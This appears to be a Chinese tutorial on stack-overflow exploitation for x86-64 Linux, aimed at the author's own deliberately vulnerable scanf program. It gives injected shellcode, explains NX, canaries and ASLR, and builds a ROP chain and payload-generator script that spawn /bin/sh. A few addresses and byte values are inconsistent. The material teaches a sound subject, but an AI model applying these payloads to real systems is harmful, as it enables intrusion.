0. 引言
如果你学的第一门程序语言是C语言,那么下面这段程序很可能是你写出来的第一个有完整的 “输入---处理---输出” 流程的程序:
#include <stdio.h>
int main() {
char name[64];
printf("What's your name?");
scanf("%s", name);
printf("Hello, %s!\n", name);
return 0;
}
也许这段小程序给你带来了小小的成就感,也许直到课程结束也没人说这个程序有什么不对,也许你的老师在第一时间就指出这段代码存在栈溢出
的漏洞,也许你后来又看到无数的文章指出这个问题同时强调千万要慎用scanf
函数,也许你还知道stackoverflow
是最好的程序员网站。。。
但可能从来没有人告诉你,什么是栈溢出、栈溢出有什么危害、黑客们可以利用栈溢出来进行什么样的攻击,还有你最想知道的,他们是如何利用栈溢出来实现攻击的,以及如何防护他们的攻击。
本文将一一为你解答这些问题。
1. 准备工具及知识
你需要准备以下工具:
- 一台64位Linux操作系统的x86计算机(虚拟机也可)
- gcc编译器、gdb调试器以及nasm汇编器(安装命令:
sudo apt-get install build-essential gdb nasm
)
本文中所有代码均在Debian8.1(amd64)、gcc4.9.2、gdb7.7.1和nasm2.11.05以下运行通过,如果你使用的版本不一致,编译选项和代码中的有关数值可能需要根据实际情况略作修改。
你需要具备以下基础知识:
- 熟练使用C语言、熟悉gcc编译器以及Linux操作系统
- 熟悉x86汇编,熟练使用mov, push, pop, jmp, call, ret, add, sub这几个常用命令
- 了解函数的调用过程以及调用约定
考虑到大部分学校里面使用的x86汇编教材都是32位、windows平台下的,这里简单介绍一下64位Linux平台下的汇编的不同之处(如果你已熟悉Linux下的X86-64汇编,那你可以跳过以下内容,直接阅读第2节):
第一个不同之处在于寄存器,64位的寄存器有rax, rbx, rcx, rdx, rsi, rdi, rsp, rbp, rip等,对应32位的eax, ebx, ecx, edx, esi, edi, esp, ebp, eip,另外64位cpu中增加了r9, r10, ..., r15寄存器。
第二个不同之处在于函数的调用约定,x86-32位架构下的函数调用一般通过栈来传递参数,而x86-64位架构下的函数调用的一般用rdi,rsi,rdx,rcx,r8和r9寄存器依次保存前6个整数型参数,浮点型参数保存在寄存器xmm0,xmm1...中,有更多的参数才通过栈来传递参数。
第三个不同之处在于Linux系统特有的系统调用方式,Linux提供了许多很方便的系统调用(如write, read, open, fork, exec等),通过syscall
指令调用,由rax指定需要调用的系统调用编号,由rdi,rsi,rdx,r10,r9和r8寄存器传递系统调用需要的参数。Linux(x64)系统调用表详见 linux system call table for x86-64。
Linux(x64)下的Hello world汇编程序如下:
[section .text]
global _start
_start:
mov rax, 1 ; the system call for write ("1" for sys_write)
mov rdi, 1 ; file descriptor ("1" for standard output)
mov rsi, Msg ; string's address
mov rdx, 12 ; string's length
syscall
mov rax, 0x3c ; the system call for exit("0x3c" for sys_exit)
mov rdi, 0 ; exit code
syscall
Msg:
DB "Hello world!"
将以上代码另存为hello-x64.asm
,再在终端输入以下命令:
$ nasm -f elf64 hello-x64.asm
$ ld -s -o hello-x64 hello-x64.o
$ ./hello-x64
Hello world!
将编译生成可执行文件hello-x64
,并在终端输出Hello world!
。
另外,本文所有汇编都是用intel格式写的,为了使gdb显示intel格式的汇编指令,需在home
目录下新建一个.gdbinit
的文件,输入以下内容并保存:
set disassembly-flavor intel
set disassemble-next-line on
display
2. 经典的栈溢出攻击
现在回到最开始的这段程序:
#include <stdio.h>
int main() {
char name[64];
printf("What's your name?");
scanf("%s", name);
printf("Hello, %s!\n", name);
return 0;
}
将其另存为victim.c
,用gcc编译并运行:
$ gcc victim.c -o victim -zexecstack -g
$ ./victim
What's your name?Jack
Hello, Jack!
上面的编译选项中-g
表示输出调试信息,-zexecstack
的作用后面再说。先来仔细分析一下源程序,这段程序声明了一个长度为64的字节型数组,然后打印提示信息,再读取用户输入的名字,最后输出Hello和用户输入的名字。代码似乎没什么问题,name数组64个字节应该是够了吧?毕竟没人的姓名会有64个字母,毕竟我们的内存空间也是有限的。但是,往坏处想一想,没人能阻止用户在终端输入100甚至1000个的字符,当那种情况发生时,会发生什么事情?name数组只有64个字节的空间,那些多余的字符呢,会到哪里去?
为了回答这两个问题,需要了解程序运行时name数组是如何保存在内存中的,这是一个局部变量,显然应该保存在栈上,那栈上的布局又是怎样的?让我们来分析一下程序中的汇编指令吧,先将目标程序的汇编码输出到victim.asm
文件中,命令如下:
objdump -d victim -M intel > victim.asm
然后打开victim.asm
文件,找到其中的main
函数的代码:
0000000000400576 <main>:
400576: 55 push rbp
400577: 48 89 e5 mov rbp,rsp
40057a: 48 83 ec 40 sub rsp,0x40
40057e: bf 44 06 40 00 mov edi,0x400644
400583: b8 00 00 00 00 mov eax,0x0
400588: e8 b3 fe ff ff call 400440 <printf@plt>
40058d: 48 8d 45 c0 lea rax,[rbp-0x40]
400591: 48 89 c6 mov rsi,rax
400594: bf 56 06 40 00 mov edi,0x400656
400599: b8 00 00 00 00 mov eax,0x0
40059e: e8 cd fe ff ff call 400470 <__isoc99_scanf@plt>
4005a3: 48 8d 45 c0 lea rax,[rbp-0x40]
4005a7: 48 89 c6 mov rsi,rax
4005aa: bf 59 06 40 00 mov edi,0x400659
4005af: b8 00 00 00 00 mov eax,0x0
4005b4: e8 87 fe ff ff call 400440 <printf@plt>
4005b9: b8 00 00 00 00 mov eax,0x0
4005be: c9 leave
4005bf: c3 ret
可以看出,main函数的开头和结尾和32位汇编中的函数几乎一样。该函数的开头的push rbp; mov rbp, rsp; sub rsp, 0x40
,先保存rbp的数值,再令rbp等于rsp,然后将栈顶指针rsp减小0x40
(也就是64),相当于在栈上分配长度为64的空间,main函数中只有name一个局部变量,显然这段空间就是name数组,即name的起始地址为rbp-0x40
。再结合函数结尾的leave; ret
,同时类比一下32位汇编中的函数栈帧布局,可以画出本程序中main函数的栈帧布局如下(请注意下图是按栈顶在上、栈底在下的方式画的):
Stack
+-------------+
| ... |
+-------------+
| ... |
name(-0x40)--> +-------------+
| ... |
+-------------+
| ... |
+-------------+
| ... |
+-------------+
| ... |
rbp(+0x00)--> +-------------+
| old rbp |
(+0x08)--> +-------------+ <--rsp points here just before `ret`
| ret rip |
+-------------+
| ... |
+-------------+
| ... |
+-------------+
rbp
即函数的栈帧基指针,在main函数中,name
数组保存在rbp-0x40~rbp+0x00
之间,rbp+0x00
处保存的是上一个函数的rbp数值
,rbp+0x08
处保存了main函数的返回地址
。当main函数执行完leave
命令,执行到ret
命令时:上一个函数的rbp数值已重新取回至rbp寄存器,栈顶指针rsp已经指向了保存这个返回地址的单元。之后的ret
命令会将此地址出栈,然后跳到此地址。
现在可以回答刚才那个问题了,如果用户输入了很多很多字符,会发生什么事情。此时scanf
函数会读取第一个空格字符之前的所有字符,然后全部拷贝到name
指向的地址处。若用户输入了100个“A”再回车,则栈会是下面这个样子:
Stack
+-------------+
| ... |
+-------------+
| ... |
name(-0x40)--> +-------------+
| AAAAAAAA |
+-------------+
| AAAAAAAA |
+-------------+
| AAAAAAAA |
+-------------+
| AAAAAAAA |
rbp(+0x00)--> +-------------+
| AAAAAAAA | (should be "old rbp")
(+0x08)--> +-------------+ <--rsp points here just before `ret`
| AAAAAAAA | (should be "ret rip")
+-------------+
| AAAAAAAA |
+-------------+
| ... |
+-------------+
也就是说,上一个函数的rbp
数值以及main函数的返回地址
全部都被改写了,当执行完ret
命令后,cpu将跳到0x4141414141414141
("AAAAAAAA")地址处,开始执行此地址的指令。
在Linux系统中,0x4141414141414141
是一个非法地址,因此程序会出错并退出。但是,如果用户输入了精心挑选的字符后,覆盖在这里的数值是一个合法的地址呢?如果这个地址上恰好保存了用户想要执行的恶意的指令呢?会发生什么事情?
以上就是栈溢出
的本质,如果程序在接受用户输入的时候不对下标越界
进行检查,直接将其保存到栈上,用户就有可能利用这个漏洞,输入足够多的、精心挑选的字符
,改写函数的返回地址
(也可以是jmp、call指令的跳转地址
),由此获取对cpu的控制
,从而执行任何他想执行的动作。
下面介绍最经典的栈溢出攻击方法:将想要执行的指令机器码写到name数组中,然后改写函数返回地址为name的起始地址,这样ret
命令执行后将会跳转到name起始地址,开始执行name数组中的机器码。
我们将用这种方法执行一段简单的程序,该程序仅仅是在终端打印“Hack!”然后正常退出。
首先要知道name的起始地址,打开gdb
,对victim
进行调试,输入gdb -q ./victim
,再输入break *main
在main函数的开头下一个断点,再输入run
命令开始运行,如下:
$ gdb -q ./victim
Reading symbols from ./victim...done.
(gdb) break *main
Breakpoint 1 at 0x400576: file victim.c, line 3.
(gdb) run
Starting program: /home/hcj/blog/rop/ch02/victim
Breakpoint 1, main () at victim.c:3
3 int main() {
=> 0x0000000000400576 <main+0>: 55 push rbp
0x0000000000400577 <main+1>: 48 89 e5 mov rbp,rsp
0x000000000040057a <main+4>: 48 83 ec 40 sub rsp,0x40
(gdb)
此时程序停留在main函数的第一条指令处,输入p &name[0]
和x/gx $rsp
分别查看name的起始指针和此时的栈顶指针rsp。
(gdb) p &name[0]
$1 = 0x7fffffffe100 "\001"
(gdb) x/gx $rsp
0x7fffffffe148: 0x00007ffff7a54b45
(gdb)
得到name的起始指针为0x7fffffffe100
、此时的栈顶指针rsp为0x7fffffffe148
,name到rsp之间一共0x48(也就是72)个字节,这和之前的分析是一致的。
下面来写指令的机器码,首先写出汇编代码:
[section .text]
global _start
_start:
jmp END
BEGIN:
mov rax, 1
mov rdi, 1
pop rsi
mov rdx, 5
syscall
mov rax, 0x3c
mov rdi, 0
syscall
END:
call BEGIN
DB "Hack!"
这段程序和第一节的Hello-x64
基本一样,不同之处在于巧妙的利用了call BEGIN和pop rsi
获得了字符串“Hack”的地址、并保存到rsi
中。将以上代码保存为shell.asm
,编译运行一下:
$ nasm -f elf64 shell.asm
$ ld -s -o shell shell.o
$ ./shell
Hack!
然后用objdump
程序提取出机器码:
$ objdump -d shell -M intel
...
0000000000400080 <.text>:
400080: eb 1e jmp 0x4000a0
400082: b8 01 00 00 00 mov eax,0x1
400087: bf 01 00 00 00 mov edi,0x1
40008c: 5e pop rsi
40008d: ba 05 00 00 00 mov edx,0x5
400092: 0f 05 syscall
400094: b8 3c 00 00 00 mov eax,0x3c
400099: bf 00 00 00 00 mov edi,0x0
40009e: 0f 05 syscall
4000a0: e8 dd ff ff ff call 0x400082
4000a5: 48 61 rex.W (bad)
4000a7: 63 6b 21 movsxd ebp,DWORD PTR [rbx+0x21]
以上机器码一共42个字节,name
到ret rip
之间一共72个字节,因此还需要补30个字节,最后填上name
的起始地址0x7fffffffe100
。main函数执行到ret
命令时,栈上的数据应该是下面这个样子的(注意最后的name起始地址
需要按小端顺序
保存):
Stack
name(0x7fffffffe100)--> +---------------------------------+ <---+
| eb 1e (jmp END) | |
BEGIN--> +---------------------------------+ |
| b8 01 00 00 00 (mov eax,0x1) | |
+---------------------------------+ |
| bf 01 00 00 00 (mov edi,0x1) | |
+---------------------------------+ |
| 5e (pop rsi) | |
+---------------------------------+ |
| ba 05 00 00 00 (mov edx,0x5) | |
+---------------------------------+ |
| 0f 05 (syscall) | |
+---------------------------------+ |
| b8 3c 00 00 00 (mov eax,0x3c) | |
+---------------------------------+ |
| bf 00 00 00 00 (mov edi,0x0) | |
+---------------------------------+ |
| 0f 05 (syscall) | |
END-> +---------------------------------+ |
| e8 dd ff ff ff (call BEGIN) | |
+---------------------------------+ |
| 48 61 63 6b 21 ("Hack!") | |
(0x7fffffffe12a)--> +---------------------------------+ |
| "\x00"*30 | |
rsp(0x7fffffffe148)--> +---------------------------------+ |
| 00 e1 ff ff ff 7f 00 00 | ----+
+---------------------------------+
上图中的栈上的所有字节码就是我们需要输入给scanf
函数的字符串,这个字符串一般称为shellcode
。由于这段shellcode
中有很多无法通过键盘输入的字节码,因此用python
将其打印至文件中:
python -c 'print "\xeb\x1e\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x5e\xba\x05\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\xe8\xdd\xff\xff\xff\x48\x61\x63\x6b\x21" + "\x00"*30 + "\x00\xe1\xff\xff\xff\x7f\x00\x00"' > shellcode
现在可以对victim
进行攻击了,不过目前只能在gdb
的调试环境下进行攻击。输入gdb -q ./victim
,再输入run < shellcode
:
$ gdb -q ./victim
Reading symbols from ./victim...done.
(gdb) run < shellcode
Starting program: /home/hcj/blog/rop/ch02/victim < shellcode
What's your name?Hello, ����!
Hack![Inferior 1 (process 2711) exited normally]
(gdb)
可以看到shellcode
已经顺利的被执行,栈溢出攻击成功。
编写shellcode
需要注意两个事情:(1) 为了使shellcode被scanf
函数全部读取,shellcode中不能含有空格字符(包括空格、回车、Tab键等),也就是说不能含有\x10、\x0a、\x0b、\x0c、\x20
等这些字节码,否则shellcode将会被截断
。如果被攻击的程序使用gets、strcpy
这些字符串拷贝函数,那么shellcode中不能含有\x00
。(2) 由于shellcode被加载到栈上的位置不是固定的,因此要求shellcode被加载到任意位置都能执行,也就是说shellcode中要尽量使用相对寻址
。
3. 栈溢出攻击的防护
为了防止栈溢出攻击,最直接和最根本的办法当然是写出严谨的代码,剔除任何可能发生栈溢出的代码。但是当程序的规模大到一定的程序时,代码错误很难被发现,因此操作系统和编译器采取了一些措施来防护栈溢出攻击,主要有以下措施。
(1) 栈不可执行机制
操作系统可以利用cpu硬件的特性,将栈设置为不可执行的,这样上一节所述的将攻击代码放在栈上的攻击方法就无法实施了。
上一节中gcc victim.c -o victim -zexecstack -g
,其中的-zexecstack
选项就是告诉操作系统允许本程序的栈可执行。去掉此选项再编译一次试试看:
$ gcc victim.c -o victim_nx -g
$ gdb -q ./victim_nx
Reading symbols from ./victim_nx...done.
(gdb) r < shellcode
Starting program: /home/hcj/blog/rop/ch02/victim_nx < shellcode
What's your name?Hello, ����!
Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe100 in ?? ()
=> 0x00007fffffffe100: eb 1e jmp 0x7fffffffe120
(gdb)
可以看到当程序跳转到name的起始地址0x00007fffffffe100
后,尝试执行此处的指令的时候发生了一个Segmentation fault
,之后就中止运行了。
目前来说大部分程序都没有在栈上执行代码的需求,因此将栈设置为不可执行对大部分程序的正常运行都没有任何影响,因此Linux和Windows平台上默认都是打开栈不可执行机制的。
(2) 栈保护机制
以gcc编译器为例,编译时若打开栈保护开关,则会在函数的进入和返回的地方增加一些检测指令,这些指令的作用是:当进入函数时,在栈上、ret rip
之前保存一个只有操作系统知道的数值;当函数返回时,检查栈上这个地方的数值有没有被改写,若被改写了,则中止程序运行。由于这个数值保存在ret rip
的前面,因此若ret rip
被改写了,它肯定也会被改写。这个数值被形象的称为金丝雀
。
让我们打开栈保护开关重新编译一下victim.c
:
$ gcc victim.c -o victim_fsp -g -fstack-protector
$ objdump -d victim_fsp -M intel > victim_fsp.asm
打开victim_fsp.asm
找到main函数,如下:
00000000004005d6 <main>:
4005d6: 55 push rbp
4005d7: 48 89 e5 mov rbp,rsp
4005da: 48 83 ec 50 sub rsp,0x50
4005de: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
4005e5: 00 00
4005e7: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
...
40062d: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8]
400631: 64 48 33 14 25 28 00 xor rdx,QWORD PTR fs:0x28
400638: 00 00
40063a: 74 05 je 400641 <main+0x6b>
40063c: e8 4f fe ff ff call 400490 <__stack_chk_fail@plt>
400641: c9 leave
400642: c3 ret
可以看到函数的开头增加了mov rax,QWORD PTR fs:0x28; mov QWORD PTR [rbp-0x8],rax
,函数退出之前增加了mov rdx,QWORD PTR [rbp-0x8]; xor rdx,QWORD PTR fs:0x28; je 400641 <main+0x6b>; call 400490 <__stack_chk_fail@plt>
这样的检测代码。
栈保护机制的缺点一个是开销太大,每个函数都要增加5条指令,第二个是只能保护函数的返回地址,无法保护jmp、call指令的跳转地址。在gcc4.9版本中默认是关闭栈保护机制的。
(3) 内存布局随机化机制
内存布局随机化就是将程序的加载位置、堆栈位置以及动态链接库的映射位置随机化,这样攻击者就无法知道程序的运行代码和堆栈上变量的地址。以上一节的攻击方法为例,如果程序的堆栈位置是随机的,那么攻击者就无法知道name数组的起始地址,也就无法将main函数的返回地址改写为shellcode中攻击指令的起始地址从而实施他的攻击了。
内存布局随机化需要操作系统和编译器的密切配合,而全局的随机化是非常难实现的。堆栈位置随机化和动态链接库映射位置随机化的实现的代价比较小,Linux系统一般都是默认开启的。而程序加载位置随机化则要求编译器生成的代码被加载到任意位置都可以正常运行,在Linux系统下,会引起较大的性能开销,因此Linux系统下一般的用户程序都是加载到固定位置运行的。
在Debian8.1和gcc4.9.2环境下实验,代码如下:
#include <stdio.h>
char g_name[64];
void *get_rip()
{
asm("\n\
.intel_syntax noprefix\n\
mov rax, [rbp+8]\n\
.att_syntax\n\
");
}
int main()
{
char name[64];
printf("Address of `g_name` (Global variable): %x\n", g_name);
printf("Address of `name` (Local variable): %x\n", name);
printf("Address of `main` (User code): %x\n", main);
printf("Value of rip: %x\n", get_rip());
return 0;
}
将以上代码另存为aslr_test.c
,编译并运行几次,如下:
$ gcc -o aslr_test aslr_test.c
$ ./aslr_test
Address of `g_name` (Global variable): 600a80
Address of `name` (Local variable): d3933580
Address of `main` (User code): 400510
Value of rip: 400560
$ ./aslr_test
Address of `g_name` (Global variable): 600a80
Address of `name` (Local variable): 512cd150
Address of `main` (User code): 400510
Value of rip: 400560
可见每次运行,只有局部变量的地址是变化的,全局变量的地址、main函数的地址以及某条指令运行时刻的实际rip数值都是不变,因此程序是被加载到固定位置运行,但堆栈位置是随机的。
动态链接库的映射位置可以用ldd
命令查看,如下:
$ ldd aslr_test
linux-vdso.so.1 (0x00007ffe1dd9d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f26b7e71000)
/lib64/ld-linux-x86-64.so.2 (0x00007f26b821a000)
$ ldd aslr_test
linux-vdso.so.1 (0x00007ffc6a771000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4ec92c0000)
/lib64/ld-linux-x86-64.so.2 (0x00007f4ec9669000)
可见每次运行,这三个动态链接库映射到进程aslr_test
中的位置都是变化的。
4. ROP 攻击
在操作系统和编译器的保护下,程序的栈是不可运行的、栈的位置是随机的,增大了栈溢出攻击的难度。但如果程序的加载位置是固定的、或者程序中存在加载到固定位置的可执行代码,攻击者就可以利用这些固定位置上的代码来实施他的攻击。
考虑下面的代码,其中含有一个borrowed
函数,作用是打开一个shell
终端。
#include <stdio.h>
#include <unistd.h>
void borrowed() {
execl("/bin/sh", NULL, NULL);
}
int main() {
char name[64];
printf("What's your name?");
scanf("%s", name);
printf("Hello, %s!\n", name);
return 0;
}
将以上代码另存为victim.c
编译,并提取汇编码到victim.asm
中,如下:
$ gcc -o victim victim.c
$ objdump -d victim -M intel > victim.asm
打开victim.asm
可以查到borrowed
函数的地址为0x4050b6
。因此,若攻击者利用栈溢出将main函数的返回地址改写为0x4050b6
,则main函数返回时会转到borrowed函数运行,打开一个shell终端,后面就可以利用终端干很多事情了。
现在来试一试吧:
$ python -c 'print "\x00"*72+"\xb6\x05\x40\x00\x00\x00\x00\x00"' > shellcode
$ cat shellcode - | ./victim
What's your name?Hello, !
ls
shellcode victim victim.asm victim.c
mkdir xxx
ls
shellcode victim victim.asm victim.c xxx
rmdir xxx
ls
shellcode victim victim.asm victim.c
可以看出终端被成功的打开了,并运行了ls、mkdir、rmdir
命令。
注意以上攻击命令中cat shellcode - | ./victim
的-
是不能省略的,否则终端打开后就会立即关闭。
这个例子表明,攻击者可以利用程序自身的代码来实施攻击,从而绕开栈不可执行和栈位置随机化的防护。这个程序是一个特意构造的例子,实际的程序中当然不太可能埋一个borrowed
函数这样的炸弹
来等着人来引爆。但是,攻击者可以利用程序自身的、没有任何恶意的代码片段
来组装出这样的炸弹
来,这就是ROP
攻击。
ROP攻击全称为Return-oriented programming
,在这种攻击中,攻击者先搜索出程序自身中存在的跳板指令(gadgets)
,然后将一些跳板指令串起来,组装成一段完整的攻击程序。
跳板指令就是以ret
结尾的指令(也可以是以jmp、call
结尾的指令),如mov rax, 1; ret | pop rax; ret
。那如何将跳板指令串起来?
假如程序中在0x1234 | 0x5678 | 0x9abc
地址处分别存在三段跳板指令mov rax, 10; ret | mov rbx, 20; ret | add rax, rbx; ret
,且当前的rip
指向的指令是ret
,如果将0x1234 | 0x5678 | 0x9abc
三个地址的数值放到栈上,如下:
Stack Code
rsp(+0x00)-->+-------------+ +-------------+<--rip
| 0x1234 |--------+ | ret |
(+0x08)-->+-------------+ | +-------------+
| 0x5678 |-----+ | | ... |
(+0x10)-->+-------------+ | +-->+-------------+<--0x1234
| 0x9abc |--+ | | mov rax, 10 |
+-------------+ | | +-------------+
| ... | | | | ret |
+-------------+ | | +-------------+
| ... | | | | ... |
+-------------+ | +----->+-------------+<--0x5678
| ... | | | mov rbx, 20 |
+-------------+ | +-------------+
| ... | | | ret |
+-------------+ | +-------------+
| ... | | | ... |
+-------------+ +-------->+-------------+<--0x9abc
| ... | | add rax,rbx |
+-------------+ +-------------+
| ... | | ret |
+-------------+ +-------------+
Equivalent codes:
mov rax, 10
mov rbx, 20
add rax, rbx
则执行完ret
指令后,程序将跳转到0x1234
,执行mov rax, 1; ret
,后面这个ret
指令又将跳转到0x5678
...,之后再跳转到0x9abc
,整个流程好像在顺序执行mov rax, 10; mov rbx, 20; add rax, rbx
一样。
可见只要将这些以ret
指令结尾的gadgets
的地址放在栈上合适的位置,这些ret
指令就会按指定的顺序一步步的在这些gadgets
之间跳跃。
再看一个稍微复杂的例子:
Stack Code
rsp(+0x00)-->+-------------+ +-------------+<--rip
| addr1 |-----+ | ret |
(+0x08)-->+-------------+ | +-------------+
| 0x3b | | | ... |
+-------------+ +-->+-------------+<--addr1
| addr2 |--+ | pop rax |
+-------------+ | +-------------+
| ... | | | ret |
+-------------+ | +-------------+
| ... | | | ... |
+-------------+ +----->+-------------+<--addr2
| ... | | next inst |
+-------------+ +-------------+
| ... | | ret |
+-------------+ +-------------+
Equivalent codes:
mov rax, 0x3b
这个例子中,跳板指令是pop rax; ret
,执行完后,栈上的0x3b
将pop到rax中,因此这种型式的跳板指令可以实现对寄存器的赋值。
而add rsp, 10h; ret
型式的跳板指令可以模拟流程跳转,如下:
Stack Code
rsp(+0x00)-->+-------------+ +-------------+<--rip
| addr1 |-----------+ | ret |
(+0x08)-->+-------------+ | +-------------+
| addr2 |--------+ | | ... |
+-------------+ | +-->+-------------+<--addr1
| addr3 |-----+ | | add rsp,10h |
+-------------+ | | +-------------+
| addr4 |--+ | | | ret |
+-------------+ | | | +-------------+
| ... | | | | | ... |
+-------------+ | | +----->+-------------+<--addr2
| ... | | | | inst2 |
+-------------+ | | +-------------+
| ... | | | | ret |
+-------------+ | | +-------------+
| ... | | | | ... |
+-------------+ | +-------->+-------------+<--addr3
| ... | | | inst3 |
+-------------+ | +-------------+
| ... | | | ret |
+-------------+ | +-------------+
| ... | | | ... |
+-------------+ +----------->+-------------+<--addr4
| ... | | inst4 |
+-------------+ +-------------+
| ... | | ret |
+-------------+ +-------------+
Equivalent codes:
jmp there
inst2
inst3
there: inst4
条件跳转甚至函数调用都可以用精心构造出的gadgets链
来模拟。只要找出一些基本的gadgets
,就可以使用这些gadgets
来组装出复杂的攻击程序。而只要被攻击程序的代码量有一定的规模,就不难在这个程序的代码段中搜索出足够多的gadgets
(注意目标程序的代码中不需要真正有这样的指令,只需要恰好有这样的指令的机器码,例如如果需要用到跳板指令pop rax; ret
,只需要目标程序的代码段中含有字节码串58 C3
就可以了)。
下面以实例来展示一下ROP攻击
的强大,在这个例子中,将利用gadgets
组装出程序,执行exec系统调用
打开一个shell
终端。
用exec系统调用打开一个shell终端需要的参数和指令如下:
mov rax, 0x3b ; system call number, 0x3b for sys_exec
mov rdi, PROG ; char *prog (program path)
mov rsi, 0 ; char **agcv
mov rdx, 0 ; char **env
syscall
PROG: DB "/bin/sh", 0
其中rax为系统调用编号,rdi为字符串指针、指向可执行程序的完整路径,rsi和rdx都是字符串指针数组,保存了参数列表和环境变量,在此处可以直接至为0。
为了增大被攻击程序的体积,以搜索到尽可能多的gadgets,在原来的代码中增加一个random函数
,同时用静态链接的方式重新编译一下victim.c:
$ cat victim.c
#include <stdio.h>
#include <stdlib.h>
int main() {
char name[64];
printf("What's your name?");
scanf("%s", name);
printf("Hello, %s%ld!\n", name, random());
return 0;
}
$ gcc -o victim victim.c -static
手工搜索目标程序中的gadgets显然是不现实的,采用JonathanSalwan编写的ROPgadget
搜索,网址在这里:https://github.com/JonathanSalwan/ROPgadget,可以使用pip安装:
su
apt-get install python-pip
pip install capstone
pip install ropgadget
exit
安装完成后,可以使用下面的命令来搜索gadgets
:
ROPgadget --binary ./victim --only "pop|ret"
搜索到程序中存在的跳板指令只是第一步。接下来需要挑选并组装gadgets,过程非常繁琐、复杂,不再叙述了。总之,经过多次尝试,最后找到了以下gadgets:
0x00000000004003f2 : pop r12 ; ret
0x00000000004018ed : pop r12 ; pop r13 ; ret
0x0000000000487318 : mov rdi, rsp ; call r12
0x0000000000431b3d : pop rax ; ret
0x00000000004333d9 : pop rdx ; pop rsi ; ret
0x000000000043d371 : syscall
按下图的方式拼装gadgets,图中的‘+’号旁边的数字0、1、2、...、13表示攻击程序执行过程中rip和rsp的移动顺序。
Stack Code
name-->+--------------------+ +--------------+0<--rip
| "\x00"*72 | | ret |
rsp-->0+--------------------+ +--------------+
| 0x00000000004003f2 |-----------------------+ | ... |
1+--------------------+ +-->+--------------+1
| 0x00000000004018ed |---------------------+ | pop r12 |
2,5+--------------------+ | +--------------+2
| 0x0000000000487318 |------------------+ | | ret |
3,4,6+--------------------+ | | +--------------+
| "/bin/sh\x00" | | | | ... |
7+--------------------+ | +---->+--------------+5
| 0x0000000000431b3d |--------------+ | | pop r12 |
8+--------------------+ | | +--------------+6
| 0x000000000000003b | | | | pop r13 |
9+--------------------+ | | +--------------+7
| 0x00000000004333d9 |-----------+ | | | ret |
10+--------------------+ | | | +--------------+
| 0x0000000000000000 | | | | | ... |
11+--------------------+ | | +------->+--------------+3
| 0x0000000000000000 | | | | mov rdi, rsp |
12+--------------------+ | | +--------------+4
| 0x000000000043d371 |-------+ | | | call r12 |
13+--------------------+ | | | +--------------+
| | | | ... |
| | +----------->+--------------+8
| | | pop rax |
| | +--------------+9
| | | ret |
| | +--------------+
| | | ... |
| +-------------->+--------------+10
| | pop rsi |
| +--------------+11
| | pop rdx |
| +--------------+12
| | ret |
| +--------------+
| | ... |
+------------------>+--------------+13
| syscall |
+--------------+
为了将大端顺序的地址数值转换为小端顺序的字符串,编写了一个python程序gen_shellcode.py
来生成最终的shellcode:
# >>> s= long2bytes(0x5c4)
# >>> s
# '\xc4\x05\x00\x00\x00\x00\x00\x00'
def long2bytes(x):
ss = [""] * 8
for i in range(8):
ss[i] = chr(x & 0xff)
x >>= 8
return "".join(ss)
print "\x00"*72 + \
long2bytes(0x4003f2) + \
long2bytes(0x4018ed) + \
long2bytes(0x487318) + \
"/bin/sh\x00" + \
long2bytes(0x431b3d) + \
long2bytes(0x00003b) + \
long2bytes(0x4333d9) + \
long2bytes(0x000000) + \
long2bytes(0x000000) + \
long2bytes(0x43d371)
现在可以实施攻击了:
$ python gen-shellcode.py > shellcode
$ cat shellcode - | ./victim
What's your name?Hello, 1804289383!
ls
gen-shellcode.py shellcode victim victim.c
mkdir xxx
ls
gen-shellcode.py shellcode victim victim.c xxx
可以看出终端被成功打开,ls和mkdir命令都可以运行。
5. 致谢
- 感谢jip的文章 Stack Smashing On A Modern Linux System 和Ben Lynn的文章 64-bit Linux Return-Oriented Programming ,他们的文章系统的介绍了Linux(x64)下的栈溢出攻击和防护方法。
- 感谢 Erik Buchanan, Ryan Roemer 和 Stefan Savage 等人对ROP做出的非凡的工作:Return-Oriented Programming: Exploits Without Code Injection,ROP攻击几乎无法阻挡,强大之中又蕴涵着优雅的美感,就像风清杨教给令狐冲的独孤九剑。
- 感谢JonathanSalwan编写的ROPgadget,他的工具让搜索gadgets的工作变得简单无比。